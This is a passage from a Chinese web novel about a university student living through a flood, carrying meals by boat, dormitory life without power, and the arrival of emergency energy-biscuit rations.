有个女生不想把裤子弄湿，干脆踩在座位上蹲着，整个人缩在宽大的雨衣里，一手勾着椅背，一手拿盆用往外面舀水。 其他几个女生有样学样，也踩在座位上蹲着。 负责开船的志愿者回头看了一眼，提醒她们：“你们这样不行，等下船开了以后会更晃，蹲在椅子上很容易摔倒的……” 有两个女生犹豫了一下，换了个姿势，在位子上坐下了，还有两个则比较头铁，继续蹲着。 男生见她们不听劝，也没再多说什么，直接启动了送餐船。 果然，船启动以后，船身更晃了！ “啊——”有个女生没站稳，脑袋直接磕在座椅上，好在她头上戴了头盔，没有受伤。 刚刚还不听劝的两个女生一下子老实了，也不管裤子会不会弄湿了，老老实实坐在座椅上。 雨棚的遮挡效果很差，没多久，秦小薇胸口的雨衣上就多了一兜积水，还好雨衣防水，她里面的衣服没弄湿。 这是暴雨后秦小薇第一次离开寝室，在她的印象中，Q大白天向来是不缺人的，就算路上看不到人，运动场里也一定会有上课、运动的学生。 但现在，学校的道路和运动场都被淹了，整个世界陷入一片死寂，只能听到“哗啦哗啦”的雨声，那些熟悉的建筑，全都“沉”在水底，隔着摇摇晃晃的水波，让人看不真切…… 恍如一场真实而又荒诞的梦境。 电动船的速度很快，没过多久，她们就到了三教的墙边。 教学楼的窗户比宿舍楼宽很多，她们爬起来没那么费劲，落地后，众人齐齐松了口气。 “总算是到了，那船也太晃了，我坐在上面心惊胆战的，老是觉得船会翻……” 有个女生从怀里拿出被塑料袋层层包裹的手机和充电宝：“之前群里不是说当志愿者能充电吗？现在能去充吗？” 秦小薇脱掉身上的雨衣，抖了抖上面的水，无情地打破了女生的幻想：“只有办公楼有电，这里 是教学楼，还有，咱们现在不是志愿者，是运气不好抽签抽中的倒霉蛋……” “啊？怎么这样？早知道我就不带手机过来了……” “走吧！咱们先去打包盒饭，有一千多份盒饭等着咱们打包呢！”一个女生说着带头离开了教室。 秦小薇上午特地去找取过餐的同学了解了流程，对下午要干的活也算是心中有数。 首先，她们得提前去四楼打包盒饭，打包完了，再找食堂负责人领刷卡机，分批把饭运回去卖给寝室楼的同学，饭卖完了，还得把刷卡机送回来，和食堂负责人对账……差不多要忙到七八点才能结束。 因为很多学生假期有睡懒觉不吃早饭的习惯，不用准备那么多份，早餐打包也比较方便，运早餐算是最轻松的，天黑以后开船比较危险，运晚餐算是最辛苦的，秦小薇这个倒霉蛋，刚好分到了取晚餐…… 一走进楼梯间，她就闻到了一股浓浓的烟味，楼梯间好几个正在抽烟的男人或蹲或站。 秦小薇忍不住用袖子捂住鼻子。 不是说这些人转移过来的时候只能带一个包吗？怎么走廊里烟味还这么重，难道他们收拾行李的时候都没把烟盒拉下…… 八个女生默默加快了速度，飞快离开了楼梯间，楼梯间的老烟枪们似乎也习惯了这些来来往往的学生，只看了她们一眼就移开了视线。 进入四楼后，空气一下子变得“清新”起来，空气中全是各种炒菜的味道。 秦小薇动了动鼻子，努力分辨空气中食物的香气，有红烧排骨、糖醋鱼、韭菜炒鸡蛋……闻着挺丰盛的啊！怎么卖给他们的盒饭那么素？ 四楼教室里的座椅基本上都被清空了，现在被各种锅灶和食材占据着，秦小薇路过的时候扫了一眼，和批发市场差不多，蔬菜大多是用筐和蛇皮袋装着的，一眼望去，除了米面，基本上都是土豆白菜胡萝卜…… 她们顺着墙上的指引来到一间教室门口，教室里放着几十桶已经做好的饭菜，里面有不少学生正在打包饭菜。 和门口的阿姨报了她们的寝室楼栋后，阿姨分给她们几个一次性口罩和帽子，把她们带到一排不锈钢桶前：“你们就在这打包，你们先戴上口罩和帽子，别把头发弄到饭里了……” 阿姨又拿了几个打包盒给她们做示范：“饭菜都是一样一勺，不要盛太多……这一桶是两百份，刚好能把这一沓打包盒用完，你们不要盛多了，盛多了份数不够到时候你们还要返工……” 秦小薇：“……”难怪这两天她们楼栋的人自己来打包饭菜，盒饭的分量还是这么少，原来食堂早就算好了！ 秦小薇朝装菜的桶里看了一眼，虽然她刚刚在走廊上闻到了很多种菜的味道，但这些桶里，大多是土豆白菜，夹杂着一些零星的肉末，并没有她之前闻到的排骨和鱼…… 几人戴好口罩帽子，就开始干活了，为了不返工，她们盛菜的时候都很“克制”，教室里还有阿姨巡视监督，在她们盛菜盛多了的时候提醒她们“抖一抖”…… 第23章 第23章闹事 一千多份盒饭听起来很多,但她们有八个人，每个人打包两百来份也就够了，秦小薇之前在食堂打过工,动作比其他人熟练很多,不到五点,她就把一沓打包盒用完了，干完了自己那份活。 她们这些取餐员和志愿者的待遇差不多,是可以留在教学楼吃自助餐的,她们这组其他七个女生还在忙，秦小薇没说要帮忙,和其他人打了声招呼就去隔壁找阿姨拿吃自助餐的盘子了。 她要先吃晚饭。 等她们都弄完，就要忙起来了，再想吃晚饭,就要等到七点后了。 难得吃顿“饱饭”,她可不想吃冷饭和剩菜。 隔壁的“自助”非常丰盛，和她们刚刚打包的清汤寡水的盒饭完全是两个画风，排骨、鸡排、鸡腿在盘子里堆得高高的,不仅饭菜不限量，还有汤、水果和饮料,就是水果看起来有点蔫了。 志愿者的待遇好像比刚开始的时候还要好？ 秦小薇朝教室里扫了一眼,除了志愿者、食堂的工作人员，还有几个看起来像是领导的人也在教室里吃饭。 秦小薇打了不少饭菜，打算一口气吃个爽,见她打了那么一大盘饭菜，对面正在吃饭的阿姨忍不住看了她好几眼：“同学，在这里吃饭不能浪费的，外面现在有好多人连饭都没得吃……” 秦小薇点点头：“阿姨,我能吃完，不会浪费的！” 阿姨的视线在秦小薇的胳膊上停了几秒，没再多说什么。 饭吃到一半，外面忽然传来一阵哭闹，秦小薇回头朝大门的方向看了看。 想看热闹，但饭还没吃完…… 对面吃饭的阿姨也抬头朝外面看了一眼，露出一个鄙夷的表情。 见此，秦小薇好奇地和她搭话：“阿姨，外面出什么事了？” 阿姨撇了撇嘴：“还不是楼上那些难民，天天嫌这嫌那的，一天要来闹十几次，又是说我们虐待他们，给他们吃猪食；又是说我们见死不救，把药藏起来不给他们吃，你说，我们这些食堂做饭的怎么可能把手伸到校医院管他们的药……” “要我说，学校就不该派志愿者出去救人，你看你们把人救回来了，不仅要把食物分给他们，自己还生病了，人家也不念着你一点好……” 阿姨噼里啪啦地说了一大堆，显然，她对学校志愿者救回来的这些难民非常不满。 秦小薇稍微一想就明白了，学校里安置的这些难民，一部分是暴雨涨水之后担心淹到四五楼临时迁移过来的，还有一部分则是暴雨之前因为各种原因没去临时安置点的，后者单看他们的行为就知道他们的人品和素质不会太高…… 秦小薇安慰她：“等雨停了，这些人回家了就好了！” 阿姨叹了口气：“这些人赶紧走吧！我是真不想和他们打交道，简直能气死人，要是早知道留在学校里要给他们做饭，受他们的气，就算给我开十倍工资我也不留下来……” 秦小薇和阿姨聊了一会楼上的难民，知道了他们不少事，一个字总结就是“乱”。 本来关在教室里，生活空间变小，环境变差，就容易和人产生摩擦，再加上在这里吃不好睡不好，基本生活物资得不到保障，人的心情就更差了，随便一点小事就能让他们跟被点燃的炸药桶似的吵起来…… 刚开始学校还会安排人调解，现在……只要不闹出人命就行了，学校管不过来。 秦小薇吃完晚饭准备回隔壁的时候，走廊上还很热闹。 闹事的是一个抱着孩子的大妈，她站在走廊上听了一会，从周围人的议论声中了解了事情的经过。 大妈的儿子儿媳都在外地打工，留她一个人在宁市带孩子，她不知什么原因没去临时安置点，后来家里涨水，她被Q大的志愿者救来了Q大。 这位大妈把她孙子当成了金疙瘩，明明是受了灾的难民，却一点委屈都不愿意让她孙子受。 来的第一天晚上，她就因为嫌弃教室里味道大，晚上有人打呼噜吵到她孙子睡觉闹了一场，要求把他们祖孙换去宿舍楼住有床的单人间；第二天早上又嫌弃食堂准备的饭菜太差，要求给他孙子单独做虾仁蛋羹，还试图拿钱砸食堂经理；后来又嫌弃学生们捐的衣服是二手的，要求志愿者把衣服洗干净晒干了再给她…… 刚开始的时候，食堂大妈见她孙子小小年纪就离开了爸妈成了“留守儿童”，就给了他一碗蛋羹。 但这似乎是给了这个大妈什么错误的暗示，让她觉得只要自己闹一闹，就能达成目的……于是，她一遇到不顺心的事就来找食堂的负责人闹，连带着其他人也开始有样学样。 Q大的食堂大妈也不是吃素的，当场就和她掐了起来，但就掐了几次，她们的行为就被食堂负责人制止了——食堂太忙了，本来就人手不足，这一吵架，干活的人就更少了。 况且，像她这样胡搅蛮缠的人楼上不止她一个，真要吵架，他们干脆别干活了。 刚开始食堂的人还会找保安来，但这些闹事的个个都是奇葩，讲道理根本说不通，甚至还想讹保安，后面保安也不耐烦管他们的事了——这对保安来说本来就属于额外的工作，管了不仅没奖金，还会惹一身骚。 食堂负责人拿他们没办法，只能摆烂，只要他们不影响大家干活，他们想闹就闹，反正不管他们怎么吵，食堂就一个态度——食堂没有多余的物资给他们。 今天，这个大妈是来要吃的，除了刚来那两天吃了几顿免费的“大餐”，他们现在吃的盒饭和学生吃的差不多，不仅荤腥少得可怜，味道也不怎么样，她挑嘴的小孙子根本吃不下去，她就想来弄点领导吃的“高级盒饭”。 知道事情的经过后，秦小薇觉得，食堂阿姨的素质还挺高，要是她工作的时候碰到这么多奇葩，她肯定骂得比她还脏…… 秦小薇站在原地看了会热闹，才回隔壁，她们这组有个女生还在打包，其他六人都和秦小薇一样去隔壁吃饭了，这个女生动作太慢了，还剩了不少打包盒，秦小薇见状便过去帮了下她。 “谢谢！”女生低声道谢，她似乎有些腼腆，说话的时候都不敢看秦小薇的眼睛。 两个人干活速度快了很多，过了一会，秦小薇提醒她：“就十几份了，这里我帮你弄吧！你先去隔壁吃饭……” 女生摇了摇头：“不用，她们应该快回来了，我等送完了餐再吃饭。” 见她坚持，秦小薇也没再多劝什么。 暴雨这几天天黑得很早，之前在船上的时候，负责开船的志愿者就交代过她们，尽量动作快一点，不要拖到太晚，否则路上出事了救援都不方便，秦小薇等了没一会，组上其他六个女生就回来了。 几人开始往三楼搬盒饭，对秦小薇来说，搬盒饭并不辛苦，其余七个女生得两人抬一个箱子，她一个人就能抱一个，手上还能多提一个打包袋。 但是把箱子固定在船上的活挺考验人的，风雨太大，船晃得特别厉害，站在上面都得扶个东西才不至于摔倒，秦小薇垒箱子的时候总担心这些泡沫箱会倒，盒饭会掉进水里——这不是她杞人忧天，志愿者们用自身经历验证过，不绑好箱子真的会在半路掉水里。 但她们这组八个人，就她的运动神经最发达，其他人在船上站都站不稳。 于是……在船上接箱子这个活就被秦小薇包圆了，开船的志愿者则帮忙用绳子固定箱子。 之前坐在船舱里，身上的雨衣和头盔还能挡雨，现在站在船头接箱子，没一会，秦小薇就感觉雨水开始顺着脖颈的缝隙往衣服里流，裤子也被雨水打湿了，她穿着防水高筒靴的鞋子里也感觉到了阵阵湿意…… 头盔沾了水之后特别影响视线，为了方便干活，秦小薇只能把头盔上的透明面罩拉上去，但这样一来，从脖子里灌进去的雨水更多了，雨水也直接往她脸上打…… 忙活了十来分钟，运输船终于装满了，秦小薇和另外三个女生跟着船往回开，其余四人则留在教学楼，继续往三楼搬她们打包好的盒饭。 快到寝室楼的时候，秦小薇忽然大声问开船的男生：“能不能把船停在三楼的阳台外面，阳台比较宽敞，运送盒饭也方便一点。” 男生摇了摇头：“不行，食堂给的滑轮只能装在侧面的窗户上，阳台的围栏太厚了，固定不上去……” “这样啊！”秦小薇有些失望。 很快，送餐船就到了寝室楼下，负责开船的男生固定好船之后和另外两个女生从窗户爬进了寝室楼，秦小薇和另外一个女生则留在船上“下货”…… 等“货”下完了，秦小薇又跟着船回教学楼继续取餐……来回折腾了三趟，总算是把盒饭都运了过来。 等她回到寝室楼的时候，衣服里里外外全都湿了，鞋子里面更是直接能倒出水来，而此时还不到六点，秦小薇觉得，穿着湿衣服这样待一个多小时，她肯定会和她的三个室友一样，半夜发烧。 秦小薇：“你们先忙，我上楼换个衣服，我衣服湿得太厉害了！” 说完，她也没管其他人什么反应，就提着雨衣和头盔离开了。 之前搬箱子、下货的时候，她出的力气最多，身上也湿得最厉害，现在东西搬上来了“偷会懒”，秦小薇并不觉得有什么问题。 第24章 第24章炭烤培根（三更合一）…… 湿衣服贴在身上并不好受,秦小薇一口气爬到了十二楼，不仅一点汗都没出，风一吹,她还觉得有点冷…… 三个室友看到她这么早回来都很惊讶：“薇薇,你怎么这么快就回来了？” 秦小薇关了门就开始脱外套：“身上衣服全湿了,我先回来换个衣服……” 说话间，她打开了自己的行李箱,找了套干净的衣服进了卫生间,她从浴室出来的时候，范槿递给她一个保温杯：“薇薇,你喝不喝热水？” 秦小薇摆了摆手：“不用，我中午去医务室接了姜茶，还没喝呢！” 保温杯的保温效果很好,姜茶的温度几乎没什么变化,她去饮水机里接了些冷水兑进去，姜茶的温度才能入口，秦小薇“吨吨吨”几口干完了保温杯里的姜茶。 她没急着下去干活,她先吃了一粒感冒药预防感冒，又拿了条毛巾把自己正在滴水的头发擦到半干,才提着雨衣和头盔下楼。 虽然要卖出去一千多份盒饭,但买饭只能刷卡，而且饭菜都是打包好的，所以她们卖饭的速度还是挺快的。 这两天的饭菜太清淡了,里面的肉少得可怜，五块的里面还能有点肉汁拌饭，另外两种几乎是纯素的，很多学生都吃不下去,干脆不来买饭了，卖不完的米饭她们要装船带回教学楼，明天中午热一热，再运过来继续卖。 为了增加“销量”，减少工作量，秦小薇她们对某些同学一个人买几份饭的行为就睁一只眼闭一只眼了，刷卡的时候也不看她们在小程序里打卡的照片。 秦小薇下来得晚，她一直没碰刷卡机，只在一旁帮忙拿饭和一次性筷子，其他人返回食堂对账的时候她就用这个借口留下了，只帮忙把空了的泡沫保温箱搬去船上用绳子固定好。 其他几个女生也不想再跑一趟，纷纷找借口留下，最后，只有那个还没吃晚饭的女生带着刷卡机跟船回去了。 等秦小薇从船上下来的时候，刚上身不到两个小时的卫衣又湿了。 秦小薇：“……”这种天气出门真的好废衣服啊！ 回寝室换好衣服后，秦小薇又拿着保温杯去四楼接了杯姜茶。 希望姜茶和感冒药能管用，她不想半夜发烧！ 今天是暴雨第六天，1206就只有“电量大户”秦小薇的充电宝还有一格半电，寝室里的笔记本和充电台灯的电全被榨干了。 秦小薇的充电宝满电状态可以给手机充十次电，从理论上来说，她的充电宝撑到暴雨结束完全没问题，但玩手机游戏太耗电了，四五个小时就能把满电的手机电量消耗得七七八八。 她想多留点电，免得错过什么重要消息，毕竟现在寝室里就她的手机还能联网…… 回到寝室后，她没再玩手机，打算把头发晾干了就上床睡觉。 秦小薇在下面坐了没多久，就发现外面的雨声似乎变小了。她没怎么在意，每天总有那么一会，雨势会变小，大家都习惯了，但没过多久 ，附近寝室有个女生嚎了一嗓子“雨停了”。 已经无聊到上床躺着的范槿被这一嗓子嚎得瞬间坐了起来：“真的吗？雨停了？” “不知道，我出去看看……”秦小薇非常“奢侈”地打开了手机的手电筒，朝着阳台走去。 片刻之后，她忍不住在心里骂了几句。 这雨就不能早几个小时停吗？要是它早几个小时停，或者雨势小一点，她也不至于弄湿了两套衣服…… “雨真的停了！”秦小薇冲寝室里喊了一声，原本早早就上床的三个室友纷纷下床来阳台看热闹——虽然外面乌漆麻黑的，她们什么都看不到。 没有电没有网的晚上实在是太无聊了，三个室友激动了一会儿就重新爬上床了。 “唉，之前去批发市场的时候没抢到蜡烛，要是抢到了蜡烛，我们现在就可以在寝室里点蜡烛继续玩狼人杀了……” “电灯真是一项伟大的发明，真怀念以前的日子……” “……” 三个室友太无聊，躺在床上找话题聊着天。 没多久，秦小薇也加入了她们。 忽然，门外传来一阵狗叫，范槿再次弹射坐起：“薇薇，你开门看看，裴欣她们寝室是不是又有热闹看了……” 断电断网的晚上娱乐活动太少，看裴欣和拉布拉多的热闹已经成了1206的一项重要娱乐活动，不，应该说是整个12楼的重要娱乐活动。 秦小薇：“饭饭，你小点声，别被人家听到了……” 她飞快拉开门朝走廊里张望着，走廊里实在是太黑了，她只能隐约看到一人一狗在走廊里对峙，同时，她能清晰地听到裴欣训狗的声音。 秦小薇狗狗祟祟地合上寝室门，低声和三个室友汇报外面的情况：“没吵架，裴欣在训狗。” 范槿精神头更足了：“快打开门让我听听，香肠又犯什么事了……” 秦小薇也很好奇，便没急着上床，小心翼翼地打开门听外面的八卦。 几人听了一会，就知道了事情的原委，原来是裴欣暴雨前没准备够狗粮，从暴雨第一天开始，她就有意识克扣拉布拉多的口粮，延长狗粮的使用时间。 因为吃不饱，拉布拉多这几天一直饿着肚子，今天晚上，拉布拉多“奋起反抗”，它趁着天黑，把剩下的小半包狗粮一口气偷吃光了，一粒都没剩下……裴欣正在因为这件事训它。 拉布拉多似乎并不认为自己做错了，裴欣说一句，它就“汪汪汪”反驳一句，就这么一会，它已经挨了好几个巴掌了。 肖琳琳：“难怪它之前一直翻垃圾，原来是饿的。” 秦小薇回忆起那天早上和林晓晓一起叫拉布拉多回寝室的事，当时她们也拿狗粮和小零食引诱了，它看都不看一眼来着。 她有不同的意见：“人家也可能单纯喜欢翻垃圾……” 四人听了会墙角，直到一人一狗吵完，秦小薇才依依不舍地关上寝室门。 因为晚上睡得早，第二天1206其余三人和秦小薇一样，六点半就从床上爬起来了，为了消磨时间，她们也没再让秦小薇帮忙买早饭，而是自己下楼买了早饭。 可能是因为昨天及时回来换了衣服，秦小薇平时身体又不错，她昨天半夜没有发烧，不过她早上起床以后嗓子很痛，还有些鼻塞。 之前室友发烧的时候，她就去401囤了药，寝室里不缺感冒药，起床后她赶紧倒水吃药。 昨天晚上一直没下雨，楼下的水位下降到了二楼，三楼走廊里只剩下薄薄一层积水。 见三楼的积水退了，不少学生都松了口气——四楼的学生并没有往楼上迁，要是三楼也被淹了，她们就只能在自己寝室上厕所了，虽然现在三楼厕所里的排泄物已经快要漫出来了…… 食堂供应的肉越来越少，想买肉包子都得看运气，她们这两天吃的都是素包子和粥，秦小薇原本想像昨天一样，继续吃素包子配粥，没想到今天的早饭只有白粥和饭团。 “咦？今天怎么没有包子了？”排在前面的人好奇地问道。 负责卖早餐的女生回了一句：“阿姨说食堂的面粉用完了，暂时做不了包子。” 两种主食都是大米做的，秦小薇果断放弃白粥，选了之前没吃过的饭团。 拿到早餐后，范槿迫不及待地拆开塑料袋咬了一口。 秦小薇：“味道怎么样？” 范槿：“嗯……就是加了盐的白米饭。” 看范槿脸上的表情，秦小薇就知道食堂新出的这个饭团味道肯定不怎么样…… 说是饭团，其实就是在米饭里面拌了些白菜、土豆、火腿粒，火腿粒少得可怜，白菜水邦邦的，让米饭有些烂糊，和秦小薇以往在小吃街买的那种料很足的糯米饭团完全不一样。 秦小薇那份盐还没拌匀，她第一口就咬到了一口盐…… “呸呸呸——”秦小薇飞快把嘴里的米饭吐了出来，“食堂怎么回事？越做越敷衍了……” 范槿：“还好我只买了一个，要是买两个，我肯定得浪费，你们还有辣椒酱吗？” 肖琳琳：“没了，这几天的饭菜已经把我的下饭神器消耗光了……” 秦小薇感冒后胃口本来就不好，这个饭团还格外难吃，她拆了一根火腿肠，一口火腿肠一口饭团，才勉强把早餐吃下去。 吃完早饭，外面又开始下雨，“哗啦哗啦”的雨声十分恼人。 午餐那顿，食堂连只有一点肉沫的盒饭也不供应了，卖给学生的依旧是早上那种难吃的饭团。 秦小薇没浪费钱，直接回寝室啃饼干了。 晚餐和中午一样，也是饭团，秦小薇照旧没去买，同一层楼的裴欣倒是下楼买了不少没卖出去的饭团，秦小薇开门放垃圾的时候刚好看到她在用饭团喂拉布拉多。 天快黑的时候，班长敲响了1206的门。 班长：“导员说食堂的存粮消耗完了，明天开始，食堂不再供餐，你们明天不用下楼买饭了，我来通知你们一声。” 如果食堂明天还卖饭团的话，就算正常供餐，她们四个也不一定会下楼买饭，1206的四人对这个消息接受良好。 秦小薇觉得自己有点倒霉，要是导员排班的时候，把她们寝室排到最后两天，她就能逃过一劫，现在也不会感冒了…… 班长拿出了一个笔记本，询问几人：“你们寝室还有多少食物？够吃几天？” 段霞：“具体没算过，但是肯定能撑过最后两天。” 班长：“行！那我就不登记你们寝室了。” “登记什么？”秦小薇好奇地问道。 班长：“导员说不确定补给什么时候运过来，让我先把存粮不够的寝室登记下来……” “这样啊！”秦小薇点点头，没再多问什么。 班长：“你们寝室有人要当志愿者吗？现在当志愿者还是包饭的，你们寝室要不要报名？” 秦小薇转头看了眼床沿边上挂着的还没干透的衣服，非常果断地拒绝了：“我不报名。” 虽然当志愿者包饭，但那是拿身体的健康换的，她感冒都还没好呢！没必要为了一顿饭牺牲这么大，她又不缺吃的…… 见秦小薇拒绝了，班长又满脸期待地看向其他三人：“你们呢？要不要报名？当志愿者不仅提供盒饭，还可以在教学楼免费充电上网，你们要是加了社团，累计时长还可以加综合分……” 1206除了范槿这个网瘾少女加吃货有些心动，其余两人都拒绝了班长的邀请，动摇的范槿也被三人毫不留情地镇压了。 白天的时候，她们还能和同班同学聚在一起玩些小游戏，天黑之后，能干的事太少了，屋里光线暗下来之后，四人就非常自觉地洗漱上床。 秦小薇觉得，下暴雨的唯一好处，就是让宿舍楼的女生都养成了早睡早起的习惯。 暴雨前几天不断电的时候，宿舍楼熬到两三点才睡的学生一大把，现在，晚上七八点不睡觉都不知道要干什么…… 暴雨第八天，食堂暂停供餐，但这似乎并没有影响学生们的生活，白天的时候，大家照旧是各个寝室乱窜玩游戏，等到了饭点，或是回寝室吃自己之前囤的食物，或是拿着食物和其他寝室的成员分享。 裴欣也断网了，她似乎也想加入大家，但因为她前几天的骚操作，十二楼的小团体都不愿意带着她一起玩。 她被排挤了，只能牵着拉布拉多在寝室的各个楼层乱窜遛狗——上次被辅导员要求打扫12楼走廊上的垃圾后，拉布拉多身上的牵引绳算是焊在它身上了。 据裴欣的室友林晓晓说，现在就算待在寝室，裴欣也会把拉布拉多拴在桌脚，免得它偷跑出去。 一人一狗还为此吵过架……虽然每次“吵架”的结果都是拉布拉多挨揍，然后趴在狗窝里生闷气。 听林晓晓的转述，秦小薇觉得裴欣养的这只拉布拉多还挺聪明的，就是太有个性了，除了裴欣，谁的话都不听，有时候还有些叛逆…… 上午，秦小薇和三个室友聚在隔壁寝室玩真心话大冒险，玩到一半，忽然有人进来喊秦小薇的名字：“秦小薇，你的手机能不能借我用一下？我想给我爸发个短信……” 今天是暴雨的第八天，宿舍楼很多人的手机都没电了，秦小薇靠着自己五万毫安的大容量充电宝，达成了超长待机成就。 这两天她各个寝室跑，不少人都知道她手机还有电，和她借手机打电话发短信回家报平安。 发短信消耗的电量并不多，价格也便宜，基本上只要有人开口，她都会答应，但每人每天只借一次，打电话比较费电，她则会拒绝，大家知道她的“规矩”，基本上没人开口和她借手机打电话。 大部分女生素质都很高，拿到手机后并不会用太久，用完了还会送她一些小零食感谢她，这几天，她和12楼同学的关系一下子拉近了许多。 以前秦小薇除了自己班上的同学，其他寝室的女生她连名字都不知道，这回倒是借着这个机会把大家认了个七七八八。 因为她手机一直有电，她用的那款大容量充电宝被不少女生种草了，很多同学都让秦小薇把链接发群里，说等手机有电了她们就下单…… 秦小薇看了来人一眼，是和她同楼层的一个同学，她点点头，把工作用的二手手机递了过去。 “谢谢。”女生接过手机后飞快发了条短信，就把手机还了回来。 秦小薇转过头，继续和其他人一起转瓶子玩真心话大冒险。 “哎，怎么对着我停下了？” “别耍赖啊！真心话还是大冒险？” “真心话吧！” “哎，可惜了我剪的卡，你们怎么都不抽？你们快想想问什么……” “……” 窗外雨声阵阵，屋里却欢笑声不断，似乎外面的风雨都和她们无关…… 快到中午的时候，闹了快一个上午的学生终于准备散了。 秦小薇伸了个懒腰，舒展着因为久坐而有些僵硬的身体：“我回去吃个饭，睡个午觉，咱们晚点再聚……” “行，下午咱们玩点别的！” 回寝室后，秦小薇拆了一包泡面，拿着泡面碗去401接了热水泡面，回来的时候，她看到走廊里有几个女生正在挨个寝室敲门借退烧药。 她脚步顿了顿，站在原地听了两句才知道，原来她们的室友已经连着烧了两天了。 前天晚上，她室友没弄到退烧药，就只能硬熬，熬到昨天早上，她室友忽然就开始说胡话。 几人吓得不行，立刻就去找辅导员求助，辅导员从男寝那边弄了两粒退烧药过来，但那两粒药昨天吃完了，今天一停药，她室友又开始发烧了，她们担心她烧坏脑子，辅导员办公室又没人，只能挨个寝室敲门碰运气…… 秦小薇叹了口气，食堂断顿也不是没有好处，至少宿舍楼感冒发烧的学生会少一点。 没多久，几个女生就来敲1206的门了，秦小薇的三个室友还在隔壁玩大富翁，屋里就只有她一个人，她犹豫了几秒，还是没把寝室里仅剩的几粒退烧药送出去，只给女生剪了两粒感冒药：“这个感冒药里面有退烧的成分，不知道有没有用，你们拿回去试试吧！” “谢谢你，同学，这个药多少钱？”其中一个女生从零钱包里翻出一卷纸币。 秦小薇从中抽出两张一元纸币：“给两块钱就行了！” “谢谢！谢谢！”三个女生连连道谢。 吃完饭，秦小薇反锁上卫生间的门后进了空间，养猪场早上就建好了，“施工人员”已经凭空消失了，她早上用剩余的金币买了三只猪崽，猪崽们吃了饲料后就一直在养猪场里面散步。 它们的身体跟充了气的气球似的，隔一两个小时就长胖一圈，早上的时候，它们还是粉粉嫩嫩的可爱小猪崽，但现在，猪崽的体型已经有早上的两倍大了。 秦小薇盯着它们身上的肉看了一会，才恋恋不舍地离开，等到了明天这个时候，它们吃进去的饲料就可以变成炭烤培根了。 肯定很好吃，吸溜…… 午觉睡醒后，秦小薇又晃去隔壁寝室找同学打牌，她们玩到一半，班长找了过来：“秦小薇、段霞……你们几个力气大，去四楼帮忙搬下东西！” “班长，搬什么东西啊？”屋里正在打牌、看热闹的几人草草收拾了桌上的扑克牌，就开始往外面走。 秦小薇也撕掉脸上贴着的纸条，跟了上去。 班长：“说是外面的运输船送了应急食品过来，让我们过去领……” 秦小薇忽然就觉得，学校也不是那么不靠谱，食堂早上才停止供餐，他们下午就把应急食品调过来了。 “都有什么？好吃吗？”几人顿时兴奋起来。 班长：“不知道，我还没去看……” 怀着对救援物资的好奇，一行人飞快下了楼，几人到的时候，宿舍楼外面停了好几艘运货船，班上的男生正从船上往下搬物资，几个辅导员正在指挥女生们把物资箱搬去楼上。 辅导员：“米妗妗，这几箱是你们12楼的，你们先搬上去分了，每个人7袋，我都算好了的，数量应该刚刚好，这是你们未来七天的口粮，接下来一周食堂都不会供餐，你记得提醒她们省着点吃，别一次吃完了……” 听到辅导员的话，秦小薇不由瞪大了眼睛。 七天？天气预报不是显示明天雨就停了吗？之后几天都是阴天啊！ 难道她还要再在宿舍楼关一周？！ 她的视线落在走廊里的箱子上，里面整齐码放着一箱箱银色真空包装的方形食品，包装袋上就只有“能量饼干”几个字，和她们下楼的时候猜测的即食米饭、面包、自热小火锅完全是两个画风！ 秦小薇猜测这东西应该和压缩饼干差不多。 她心里有一肚子疑问，但是辅导员看起来很忙，并没有时间解答她的问题，她只能暂时按捺下心中的疑问，和其他人一起，先把走廊上的箱子搬上楼。 一个人七包，在班长的指挥下，众人很快就把搬上来的东西分完了。 裴欣可能是真的没东西喂狗了，刚拿到能量饼干，就拆了一包喂给拉布拉多，拉布拉多也不挑食，抱着饼干啃得很欢实…… 分完饼干后，秦小薇几人没再继续打牌，反而是聚在一起研究刚刚到手的能量饼干。 饼干一袋450克，有九小块，生产日期是四个月前 ，配料表除了一般压缩饼干都有的小麦粉、糖、油和添加剂，还另外添加了维生素和某些微量元素。 范槿对饼干的味道很好奇，便直接拆了一袋。 “味道怎么样？”屋里几人全都盯着率先“试毒”的范槿。 范槿皱着眉细细品味着嘴里的饼干：“就……很普通的味道，口感比较扎实，不好吃也不难吃，这么一包，能吃三顿？我感觉我一顿就能干掉两袋……” “这种饼干应该和压缩饼干一样，喝了水之后会在胃里膨胀，然后饱腹感就会特别强……饭饭，你喝杯水试试！”一个女生说着，非常殷勤地用一次性纸杯给范槿接了一杯凉水，俨然就是在拿她做试验。 范槿也很好奇这个饼干的饱腹感，配合着干掉了两杯水。 二十分钟后，范槿揉了揉自己的胃：“饱腹感好像真的可以！普通女生一天吃一袋应该差不多……唉，学校为什么不一开始就给我们发这个？这样也不用安排志愿者去教学楼取餐了……我感觉前几天的饭菜，也没比这个饼干好吃多少。” 秦小薇摸着下巴猜测道：“嗯……可能是怕食堂的东西放坏了？毕竟停电了，冷库没法用……” 她盯着桌上的饼干，眉头不自觉拧了起来。 不知道雨停后，她能不能回家？真让她一天三顿都吃饼干，连着吃十几二十顿，她真的遭不住…… 她空间里倒是有船，大的小的都有，她也会开，就是不知道该怎么拿出来……有空进空间研究研究吧！ “学校为什么忽然给我们发这么多饼干啊？”屋里一个女生忽然开口道。 七包饼干，听起来数量并不多，但辅导员说这是她们未来七天的伙食，这就有点恐怖了！ 范槿：“可能是雨停之后，还要再等六天水才能退下去？也可能是之前从食堂调了太多粮食走，现在用这些饼干补上？” 她的态度十分乐观。 刚刚问话的女生则有些悲观，她撑着脑袋叹了口气：“唉，本来还以为过了明天就解放了，没想到还要再多关六天，这日子什么时候是个头啊！早知道我就让我舅舅开车来宁市接我回家了……” “再忍几天，情况肯定能恢复的！我之前看了未来两个月的天气预报，后面只有几天有小雨，等水位降下去就好了！” “我觉得饭饭分析得有道理，给我们发能量饼干肯定是因为积水退下去要时间，学校怕我们饿肚子……” “国内大部分地方都在下雨，你就算回家了也得关在家里。” “……” 屋里几个女生互相鼓励着，努力驱散女生心中的悲观。 “测评”完饼干，屋里一群人又开始打牌、玩你画我猜。 虽然几人心头还有些阴云，但很快就被同伴的欢笑声打散了，一下午的时间就这样被消磨过去了…… 和大家一起玩的时候，秦小薇觉得，如果假期一直这么悠闲的话，似乎也还可以。 当然，要是有电就更好了，八天没洗头了，她感觉自己的头发都有味了…… 这几天温度也不高，再加上她感冒还没好，根本不敢用冷水洗头。 晚饭，秦小薇吃的是刚刚到手的能量饼干，外加最后几个圣女果，能量饼干的味道就像范槿形容的那样，不好吃也不难吃，就普普通通的饼干，喝了水以后，饱腹感很强。 450克的饼干，她一顿吃半袋就感觉有点撑了，有些胃口小的女生，可能一天都吃不完一袋。 